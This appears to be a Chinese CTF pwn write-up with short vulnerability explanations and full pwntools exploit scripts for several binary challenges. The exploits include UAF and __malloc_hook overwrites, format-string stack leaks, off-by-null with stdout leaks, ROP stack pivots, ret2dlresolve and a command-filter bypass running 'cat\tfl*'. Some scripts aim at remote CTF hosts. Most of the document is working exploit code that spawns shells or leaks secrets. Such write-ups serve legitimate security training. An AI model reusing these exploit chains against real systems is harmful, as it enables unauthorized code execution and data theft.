easynote
2.23版本的uaf,用realloc调一下栈帧。
exp
from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
def add(size,content):
r.sendlineafter("5. exit",'1')
r.sendlineafter("The length of your content --->",str(size))
r.sendafter("Content --->",content)
def edit(idx,size,content):
r.sendlineafter("5. exit",'2')
r.sendlineafter("Index --->",str(idx))
r.sendlineafter("The length of your content --->",str(size))
r.sendafter("Content --->",content)
def delete(idx):
r.sendlineafter("5. exit",'3')
r.sendlineafter("Index --->",str(idx))
def show(idx):
r.sendlineafter("5. exit",'4')
r.sendlineafter("Index --->",str(idx))
add(0x200,'a')#0
add(0x60,'a')#1
add(0x20,'a')#2
delete(0)
add(0x40,'a')#0
show(0)
libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x200-0x61+0x78-0x10-88-libc.sym['__malloc_hook']
print("libc_base---------->",hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x23
system=libc_base+libc.sym['system']
realloc=libc_base+libc.sym["realloc"]+6
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=one_gadget[1]+libc_base
delete(1)
edit(1,0x40,p64(malloc_hook))
add(0x200-0x50,'a')#1
add(0x60,'a')#3
add(0x60,b'a'*(0x13-8)+p64(ogg)+p64(realloc))#4
r.sendlineafter("5. exit",'1')
r.sendlineafter("The length of your content --->",str(50))
# gdb.attach(r)
r.interactive()
fooooood
这个题非预期可以直接循环打印远程栈上的环境变量,从而爆破出flag
exp
from pwn import *
context.log_level='debug'
r=process('./pwn')
# r=remote('node4.buuoj.cn',28134)
elf=ELF('./pwn')
for i in range(1,100):
try:
# r=process('./pwn')
r=remote('node4.buuoj.cn',28134)
elf=ELF('./pwn')
r.sendlineafter("Give me your name:",'s')
for j in range(3):
r.recvuntil("food: ")
r.sendline('%'+str(10+3*i+j)+'$s.')
print(i,r.recvuntil(b'.',drop=True))
except EOFError:
pass
server
首先需要通过认证,这里需要判断对应的key文件是否存在,我们可以通过输入很多/来绕过。
接着有一个任意命令执行 ,过滤掉了一些字符,不过我们仍然可以通过cat flag来获取;由于过滤了空格,所以我们可以用 \t 代替,由于有长度限制,我们需要使用通配符,最终执行'\ncat\tfl*\n。
exp
from pwn import *
context.log_level='debug'
r=process('./pwn_7')
r=remote('node4.buuoj.cn',28338)
elf=ELF('./pwn_7')
r.recvuntil('>>')
r.sendline('1')
# gdb.attach(r)
r.recvuntil('Please input the key of admin : ')
r.sendline("../"+"/"*0xf+"///flag")
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.send('12cat\tfl*\n')
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.send("'\n")
r.interactive()
can_you_find_me
程序只有add,delete操作,在add的pushinfo中存在off by null漏洞
add限制堆块最大0x800,最多申请16次,所以采用填满tcache不可取,因为堆块不够用,需要直接申请大于0x410的堆块。而本题没有show函数,所以需要打stdout结构体泄露libc,需要爆破1字节。
exp
from pwn import *
context.log_level='debug'
r=remote('node4.buuoj.cn',25072)
# r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
def add(size,content):
r.sendlineafter("choice:",'1')
r.sendlineafter("Size:",str(size))
r.sendlineafter("Data:",content)
def delete(idx):
r.sendlineafter("choice:",'2')
r.sendlineafter("Index:",str(idx))
add(0x6f8,"0")#0
add(0x3f8,"1")#1
add(0x2f8,'2')#2
add(0x7f8,'3')#3
add(0x20,'/bin/sh\x00')#4
delete(0)
delete(2)
add(0x2f8,b'a'*0x2f0+p64(0x700++0x300+0x400))#5 0 2
delete(3)
delete(1)
add(0x6f8,'0')#5
add(0x20,'\x60\xe7')#6
add(0x3f8,'0')#7
payload=p64(0xfbad1887)+p64(0)*3+b'\x88'
add(0x3f8,payload)#8
print("----------------------214124124124124-------------421412-412----------")
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['_IO_2_1_stdout_']-131
print("libc_base----------->",hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=libc_base+one_gadget[1]
delete(0)
payload=b'c'*0x3c8+p64(0x300)+p64(free_hook)
add(0x400,payload)
add(0x2f8,'a')
add(0x2f8,p64(ogg))
delete(4)
# gdb.attach(r)
r.interactive()
matchmaking platform
漏洞点位于sub_12b7函数,char v3的范围是-128-->127,本题执行else分支可以是v3加到128,从而溢出变成-80,对偏移为-80的位置进行操作。可进行两次。
思路:首先劫持bss上的stdout结构体,修改stdout泄露libc,然后利用ret2dlresolve即可。
exp
from pwn import *
context.log_level='debug'
def pwn():
r.sendafter("Age >> ",'a'*0x80+'\x80')
r.sendlineafter("Photo(URL) >> ",p64(0xfbad1887)+p64(0)*3+b'\xb0\x5d')
pie_base = u64(r.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0 :
exit(-1)
payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
# gdb.attach(r)
r.sendafter("Name >> ",payload.ljust(0x80,b'\x00')+b'\x08')
print("pie_base--------->",hex(pie_base))
payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
r.sendlineafter("Hobby >> ", payload)
r.interactive()
if __name__ == '__main__':
while True:
global r
try :
r = process("./pwn")
pwn()
break
except :
r.close()
A dream
在父线程中存在栈溢出,子线程不断调用write。
且父线程开启沙箱。
思路一:利用栈溢出进行迁移,修改write的got表为栈溢出位置的read,然后使父线程sleep进入子线程进行rop,因为父线程开启的沙箱并不会影响到子线程。
思路二:利用栈溢出进行迁移,泄露libc,再利用environ环境变量泄露栈,由于远程的flag存放在栈中,所以可以加偏移循环爆破flag。
这里给出思路二的exp:
exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# r=process("./pwn_9")
r=remote('node4.buuoj.cn',29981)
elf=ELF("./pwn_9")
libc=ELF('./libc6_2.31-0ubuntu9.7_amd64.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404080 + 0x100
magic_read = 0x4013AE
r.recvuntil('winmt has a dream')
payload1 = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
r.send(payload1)
sleep(0.1)
# gdb.attach(r)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
pop_rbp=0x000000000040123d
leave_ret = 0x40136c
payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100) + p64(magic_read)
payload2 = payload2.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
r.send(payload2)
sleep(0.1)
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print("libc_base----------->",hex(libc_base))
environ=libc_base+libc.sym['environ']
payload3=p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100) + p64(magic_read)
payload3 = payload3.ljust(0x40, b'\x00') + p64(bss+0x100-0x40-8) + p64(leave_ret)
r.send(payload3)
sleep(0.1)
stack=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack------>',hex(stack))
payload4=p64(pop_rdi_ret) + p64(stack+8) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100*2) + p64(magic_read)
payload4 = payload4.ljust(0x40, b'\x00') + p64(bss+0x100+0x100-0x40-8) + p64(leave_ret)
r.send(payload4)
sleep(0.1)
stack1=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack1------>',hex(stack1))
# pause()
for i in range(2,50,1):
payload5=p64(pop_rdi_ret) + p64(stack1-1+8*(i+39)) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100*(i+1)) + p64(magic_read)
payload5 = payload5.ljust(0x40, b'\x00') + p64(bss+0x100+0x100*i-0x40-8) + p64(leave_ret)
r.send(payload5)
# sleep(0.1)
r.interactive()
noka
本题libc是2.35。
只有add和show操作,还有一个任意地址读写的后门。这些操作一共可以使用11次。
思路:1.将malloc的got表换成cin实现任意读写
2.利用stdout泄露libc地址
3.利用environ环境变量获得栈地址,覆盖libc_start_main为rop执行getshell。
exp
from pwn import *
context.log_level='debug'
r=process('./noka')
elf=ELF('./noka')
libc=ELF('./libc.so.6')
malloc_got=0x404030
cin_int=0x401254
ptr_addr=0x4040b0
def add(size,content):
r.sendlineafter('>','1')
r.sendlineafter("size: ",str(size))
r.sendafter("text: ",content)
def show():
r.sendlineafter('>','2')
def backdoor(point,value):
r.sendlineafter('>','3')
r.sendlineafter("Break Point: ",str(point))
r.sendlineafter("Break Value: ",str(value))
def gint(size,addr,content):
r.sendlineafter('>','1')
r.sendlineafter("size: ",str(size))
r.send(addr)
r.sendafter("text: ",content)
backdoor(malloc_got,cin_int)#1
gint(10,str(0x04040A0),"a")#2
show()#3
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['stderr']-0x1+0x200
print("libc_base-------->",hex(libc_base))
environ=libc_base+libc.sym['environ']
print("environ------->",hex(environ))
gint(10,str(ptr_addr),p64(environ))#4
show()#5
stack=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack----------->',hex(stack))
libc_start_main=stack-(0x7fff13361bc8-0x7fff13361aa8)
print("libc_start_main------>",hex(libc_start_main))
num_addr=0x404060
gint(10,str(num_addr),'a')#6
system=libc_base+libc.sym['system']
pop_rdi=libc_base+0x000000000002a3e5
pop_rdi_rbp=libc_base+0x000000000002a745
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
backdoor(str(libc_start_main),str(pop_rdi_rbp))#7
gint(10,str(num_addr),'a')#8
backdoor(str(libc_start_main+8),str(binsh))#9
gint(10,str(num_addr),'a')#10
gdb.attach(r)
backdoor(str(libc_start_main+0x18),str(system))#11
# gdb.attach(r)
r.interactive()
Approoooooooaching
2.35版本
vmpwn,case1申请堆块,case2写堆块,case3就是对写入堆块的字符进行逐个解析,解析成1、2、3等数字,不过后边的解析成数字之后还有一些其他的命令,也没试,做的时候也没用上。case4就是匹配数字并执行对应的命令。
刚开始先试了这个case6的gatchar看看读到了栈上的哪个位置,测试发现直接getchar是返回地址的下一个字节,然后又从程序中发现了system函数,直接搜索/bin/sh定位到
于是就想到可以用case2的--v3使得读取字符时向上覆盖到返回地址,然后又看到原本返回地址与后门函数地址只差了最后一个字节,因此就比较清晰了,先通过--v3,然后getchar改返回地址,退出时即执行后门函数。不过这里有一点,getchar第一次输入不进去字符,读取的一直是'\n',索性读两次,把第一次覆盖了就行。
exp
from pwn import *
context.log_level='debug'
r=remote('139.155.140.235',9999)
# r=process('./bf')
elf=ELF('./bf')
libc=elf.libc
def add(size):
r.sendlineafter("Give me your choice: ",'1')
r.sendlineafter("size: ",str(size))
def cin(content):
r.sendlineafter("Give me your choice: ",'2')
r.sendlineafter("text: ",content)
def makecode():
r.sendlineafter("Give me your choice: ",'3')
def usecode():
r.sendlineafter("Give me your choice: ",'4')
add(0x800)
cin('iiiiyy\x00')
makecode()
# gdb.attach(r)
usecode()
r.sendline('\xe0')
r.interactive()
可以发现,经过两次修改,返回地址成功覆盖成后门函数